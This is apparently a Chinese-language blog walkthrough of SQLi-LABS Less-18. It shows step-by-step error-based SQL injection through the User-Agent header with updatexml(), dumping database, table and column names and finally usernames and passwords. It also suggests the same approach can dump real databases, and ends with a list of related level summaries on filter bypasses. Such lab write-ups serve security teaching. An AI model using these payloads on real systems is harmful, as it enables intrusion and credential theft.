SQLi LABS Less-18

简介: 第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 错误注入 第一步,判断注入方式

第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 错误注入



第一步,判断注入方式

先看源码



image.png



后台代码对 特殊字符进行了过滤 , 常规的注入方式行不通 , 只有通过代码审计来判断注入方式


image.png

登录成功后 , 有一个保存用户主机信息的SQL语句 , 并且没有对参数进行过滤 , 我们可以针对这个SQL进行错误注入


真实场景中 , 我们可以先注册一个账号进行登录 , 登录成功后通过User-Agent 进行错误注入 , 从而实现脱库


使用 Burp 工具进行代理拦截 , 修改 User-Agent

User-Agent: ' and updatexml(1,'~',3) and '

updatexml() 的第2个参数如果包含特殊符号就会报错 , 利用其报错信息可获取数据库信息


image.png

页面返回了我们插入的报错信息 , 固 存在错误注入

第二步,获取所有数据库

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata),50,31)
),3) and '

concat() , 可将结果拼接指定字符 , 目的在于触发错误


group_concat() , 可将多行结果合并为一行 , 目的在于方便展示


sunstr() , 用来截取字符串 , updatexml()返回结果的字符串长度限制为32 , 需要多次截取来获取完整结果


注意: User-Agent 的参数中 不要包含空格


image.png


下一步 , 根据security数据库 获取其所有表


第三步,获取所有表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(table_name) 
from information_schema.tables 
where table_schema='security')
,1,31)
),3) and '

注意 : User-Agent 参数中 不要有空格

users表为用户表 , 下一步根据users表 获取其所有字段

 

第四步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='users')
,1,31))
,3) and '

注意 : User-Agent 参数中不要有空格

image.png

 

第五步,获取账号密码

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(username,'~',password)
from security.users)
,1,31))
,3) and '

image.png

相关文章
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
322 0
SQLi LABS Less-26a
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
141 0
SQLi LABS Less-30
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
210 0
SQLi LABS Less-29
SQLi LABS Less-31
第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号
152 0
SQLi LABS Less-31
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
262 0
SQLi LABS Less-26
SQLi LABS Less-25a
第25a关使用GET请求传递参数,在url地址栏中构造payload即可 后端源码中过滤了and和or,但只过滤了一次,我们可以通过双写绕过
222 0
SQLi LABS Less-25a
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
149 0
SQLi LABS Less-16
SQLi LABS Less-23
第23关使用GET请求传递参数,在url地址栏构造payload即可 此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
149 0
SQLi LABS Less-23
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
166 0
SQLi LABS Less-21
|
SQL 数据库
SQLi LABS Less-5
第五关请求方式为GET请求 , 注入点为 单引号字符串型注入 , 注入类型为 报错注入 报错注入常用(我觉得)的是 updatexml() , 该函数的第2个参数包含特殊字符时会报错,并将第2个参数的内容返回到错误信息中
162 0
SQLi LABS Less-5